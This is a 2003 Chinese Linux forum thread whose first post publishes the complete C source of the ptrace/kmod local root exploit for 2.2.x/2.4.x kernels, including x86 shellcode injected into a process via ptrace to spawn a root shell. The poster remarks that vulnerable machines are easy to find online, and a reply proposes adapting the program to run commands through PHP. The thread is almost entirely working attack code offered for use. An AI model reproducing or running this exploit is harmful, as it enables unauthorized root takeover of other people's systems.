LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1255|回复: 1

kernel2.4.18-2.4.19有一个setuid的BUG

[复制链接]
发表于 2003-6-26 09:47:36 | 显示全部楼层 |阅读模式
  安全版现在好象人气不是很足呀,小弟贴一个较古老的kernel漏洞希望大家不要见怪呀!在kernel2.4.18-2.4.19中只要有普通帐户权限只要执行一个用C写的小程序就能setuid为root。下面是这个C程序的源代码,有兴趣可以看看哦。希望大家不要乱搞啊,因为这种机器网上还是很容易找到的。




/*
*  * Linux kernel ptrace/kmod local root exploit
*   *
*    *
*     *
*      * Should work under all current 2.2.x and 2.4.x kernels.
*       *
*        * I discovered this stupid bug independently on January 25, 2003, that
*         * is (almost) two month before it was fixed and published by Red Hat
*          * and others.
*           *
*            * Wojciech Purczynski <cliph@isec.pl>
*             *
*              * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
*               * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*                *
*                 * (c) 2003 Copyright by iSEC Security Research
*                  */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
   "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
    "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
     "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

     pid_t parent = 1;
     pid_t child = 1;
     pid_t victim = 1;
     volatile int gotchild = 0;

     void fatal(char * msg)
{
         perror(msg);
          kill(parent, SIGKILL);
           kill(child, SIGKILL);
            kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
         char buf[MAXPATHLEN + CODE_SIZE];
          unsigned long * src;
           int i, len;

            memcpy(buf, cliphcode, CODE_SIZE);
             len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
              if (len == -1)
                        fatal("[-] Unable to read /proc/self/exe");

               len += CODE_SIZE + 1;
                buf[len] = '\0';
                 
                 src = (unsigned long*) buf;
                  for (i = 0; i < len; i += 4)
                            if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
                                       fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
         struct user_regs_struct regs;

          if (gotchild++ == 0)
                    return;
          
           fprintf(stderr, "[+] Signal caught\n");

            if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
                      fatal("[-] Unable to read registers");
             
             fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
             
              putcode((unsigned long *)regs.eip);

               fprintf(stderr, "[+] Now wait for suid shell...\n");

                if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
                          fatal("[-] Unable to detach from victim");

                 exit(0);
}

void sigalrm(int signo)
{
         errno = ECANCELED;
          fatal("[-] Fatal error");
}

void do_child(void)
{
         int err;

          child = getpid();
           victim = child + 1;

            signal(SIGCHLD, sigchld);

             do
                       err = ptrace(PTRACE_ATTACH, victim, 0, 0);
              while (err == -1 && errno == ESRCH);

              if (err == -1)
                        fatal("[-] Unable to attach");

              fprintf(stderr, "[+] Attached to %d\n", victim);
               while (!gotchild) ;
              if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
                        fatal("[-] Unable to setup syscall trace");
              fprintf(stderr, "[+] Waiting for signal\n");

               for(;;);
}

void do_parent(char * progname)
{
         struct stat st;
          int err;
           errno = 0;
            socket(AF_SECURITY, SOCK_STREAM, 1);
             do {
                       err = stat(progname, &st);
                        } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
             
              if (err == -1)
                        fatal("[-] Unable to stat myself");

              alarm(0);
               system(progname);
}

void prepare(void)
{
         if (geteuid() == 0) {
                   initgroups("root", 0);
                     setgid(0);
                       setuid(0);
                         execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
                           fatal("[-] Unable to spawn shell");
                            }
}

int main(int argc, char ** argv)
{
         prepare();
          signal(SIGALRM, sigalrm);
           alarm(10);
            
            parent = getpid();
             child = fork();
              victim = child + 1;
               
               if (child == -1)
                         fatal("[-] Unable to fork");

                if (child == 0)
                          do_child();
                 else
                           do_parent(argv[0]);

                  return 0;
}
发表于 2003-6-26 10:03:59 | 显示全部楼层
呵呵。这个小程序可也改改用PHP直接执行系统用户能够执行的命令了。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表